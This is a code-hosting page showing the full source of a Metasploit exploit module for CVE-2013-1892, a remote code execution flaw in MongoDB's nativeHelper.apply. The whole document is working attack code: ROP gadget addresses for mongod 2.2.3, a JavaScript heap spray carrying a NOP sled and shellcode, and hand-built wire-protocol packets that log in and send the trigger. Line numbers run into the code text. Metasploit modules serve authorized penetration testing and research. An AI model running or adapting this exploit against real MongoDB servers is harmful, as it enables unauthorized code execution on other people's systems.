Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/mongod_native_helper.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info={})11super(update_info(info,12'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',13'Description' => %q{14This module exploits the nativeHelper feature from spiderMonkey which allows15remote code execution by calling it with specially crafted arguments. This module16has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.17},18'Author' =>19[20'agix' # @agixid # Vulnerability discovery and Metasploit module21],22'References' =>23[24[ 'CVE', '2013-1892' ],25[ 'OSVDB', '91632' ],26[ 'BID', '58695' ],27[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]28],29'Platform' => 'linux',30'Targets' =>31[32[ 'Linux - mongod 2.2.3 - 32bits',33{34'Arch' => ARCH_X86,35'mmap' => [360x0816f768, # mmap64@plt # from mongod370x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod380x31337000,390x00002000,400x00000007,410x00000031,420xffffffff,430x00000000,440x00000000,450x0816e4c8, # memcpy@plt # from mongod460x31337000,470x31337000,480x0c0b0000,490x0000200050],51'ret' => 0x08055a70, # ret # from mongod52'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]53# These gadgets need to be composed with bytes < 0x8054'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP55'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget256'gadget4' => 0x08055a6c, # pop eax / ret57'gadget5' => 0x08457158 # xchg esp,eax58}59]60],61'DefaultTarget' => 0,62'DisclosureDate' => '2013-03-24',63'License' => MSF_LICENSE64))6566register_options(67[68Opt::RPORT(27017),69OptString.new('DB', [ true, "Database to use", "admin"]),70OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),71OptString.new('USERNAME', [ true, "Login to use", ""]),72OptString.new('PASSWORD', [ true, "Password to use", ""])73])74end7576def exploit77begin78connect79if require_auth?80print_status("Mongo server #{datastore['RHOST']} use authentication...")81if !datastore['USERNAME'] || !datastore['PASSWORD']82disconnect83fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")84end85if do_login==086disconnect87fail_with(Failure::NoAccess, "Authentication failed")88end89else90print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")91end9293if datastore['COLLECTION'] && datastore['COLLECTION'] != ""94collection = datastore['COLLECTION']95else96collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')97if read_only?(collection)98disconnect99fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")100else101print_good("New document created in collection #{collection}")102end103end104105print_status("Let's exploit, heap spray could take some time...")106my_target = target107shellcode = Rex::Text.to_unescape(payload.encoded)108mmap = my_target['mmap'].pack("V*")109ret = [my_target['ret']].pack("V*")110gadget1 = "0x#{my_target['gadget1'].to_s(16)}"111gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))112gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))113gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))114gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))115116shellcode_var="a"+Rex::Text.rand_text_hex(4)117sizechunk_var="b"+Rex::Text.rand_text_hex(4)118chunk_var="c"+Rex::Text.rand_text_hex(4)119i_var="d"+Rex::Text.rand_text_hex(4)120array_var="e"+Rex::Text.rand_text_hex(4)121122ropchain_var="f"+Rex::Text.rand_text_hex(4)123chunk2_var="g"+Rex::Text.rand_text_hex(4)124array2_var="h"+Rex::Text.rand_text_hex(4)125126# nopsled + shellcode heapspray127payload_js = shellcode_var+'=unescape("'+shellcode+'");'128payload_js << sizechunk_var+'=0x1000;'129payload_js << chunk_var+'="";'130payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '131payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'132payload_js << array_var+'=new Array();'133payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '134135# retchain + ropchain heapspray136payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'137payload_js << chunk2_var+'="";'138payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '139payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'140payload_js << array2_var+'=new Array();'141payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '142143# Trigger and first ropchain144payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '145payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'146147request_id = Rex::Text.rand_text(4)148149packet = request_id #requestID150packet << "\xff\xff\xff\xff" #responseTo151packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)152packet << "\x00\x00\x00\x00" #flags153packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)154packet << "\x00\x00\x00\x00" #numberToSkip (0)155packet << "\x01\x00\x00\x00" #numberToReturn (1)156157where = "\x02\x24\x77\x68\x65\x72\x65\x00"158where << [payload_js.length+4].pack("L")159where << payload_js+"\x00"160161where.insert(0, [where.length + 4].pack("L"))162163packet += where164packet.insert(0, [packet.length + 4].pack("L"))165166sock.put(packet)167168disconnect169rescue ::Exception => e170fail_with(Failure::Unreachable, "Unable to connect")171end172end173174def require_auth?175request_id = Rex::Text.rand_text(4)176packet = "\x3f\x00\x00\x00" #messageLength (63)177packet << request_id #requestID178packet << "\xff\xff\xff\xff" #responseTo179packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)180packet << "\x00\x00\x00\x00" #flags181packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)182packet << "\x00\x00\x00\x00" #numberToSkip (0)183packet << "\x01\x00\x00\x00" #numberToReturn (1)184#query ({"listDatabases"=>1})185packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"186187sock.put(packet)188response = sock.get_once189190have_auth_error?(response)191end192193def read_only?(collection)194request_id = Rex::Text.rand_text(4)195_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"196key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"197value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"198199insert = _id+key+[value.length].pack("L")+value+"\x00"200201packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength202packet << request_id #requestID203packet << "\xff\xff\xff\xff" #responseTo204packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)205packet << "\x00\x00\x00\x00" #flags206packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)207packet << [insert.length+4].pack("L")208packet << insert209210sock.put(packet)211212request_id = Rex::Text.rand_text(4)213214packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)215packet << request_id #requestID216packet << "\xff\xff\xff\xff" #responseTo217packet << "\xd4\x07\x00\x00" #opCode (2004 Query)218packet << "\x00\x00\x00\x00" #flags219packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)220packet << "\x00\x00\x00\x00" #numberToSkip (0)221packet << "\xff\xff\xff\xff" #numberToReturn (1)222packet << "\x1b\x00\x00\x00"223packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"224225sock.put(packet)226227response = sock.get_once228have_auth_error?(response)229end230231def do_login232print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")233nonce = get_nonce234status = auth(nonce)235return status236end237238def auth(nonce)239request_id = Rex::Text.rand_text(4)240packet = request_id #requestID241packet << "\xff\xff\xff\xff" #responseTo242packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)243packet << "\x00\x00\x00\x00" #flags244packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)245packet << "\x00\x00\x00\x00" #numberToSkip (0)246packet << "\xff\xff\xff\xff" #numberToReturn (1)247248#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}249document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"250document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"251document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination252document << datastore['USERNAME'] + "\x00"253document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"254document << nonce + "\x00"255document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"256document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"257document << "\x00"258#Calculate document length259document.insert(0, [document.length + 4].pack("L"))260261packet += document262263#Calculate messageLength264packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength265sock.put(packet)266response = sock.get_once267if have_auth_error?(response)268print_error("Bad login or DB")269return 0270else271print_good("Successful login on DB #{datastore['db']}")272return 1273end274275276end277278def get_nonce279request_id = Rex::Text.rand_text(4)280packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)281packet << request_id #requestID282packet << "\xff\xff\xff\xff" #responseTo283packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)284packet << "\x00\x00\x00\x00" #flags285packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)286packet << "\x00\x00\x00\x00" #numberToSkip (0)287packet << "\x01\x00\x00\x00" #numberToReturn (1)288#query {"getnonce"=>1.0}289packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"290291sock.put(packet)292response = sock.get_once293documents = response[36..1024]294#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}295nonce = documents[15..30]296end297298def have_auth_error?(response)299#Response header 36 bytes long300documents = response[36..1024]301#{"errmsg"=>"auth fails", "ok"=>0.0}302#{"errmsg"=>"need to login", "ok"=>0.0}303if documents.include?('errmsg') || documents.include?('unauthorized')304return true305else306return false307end308end309end310311312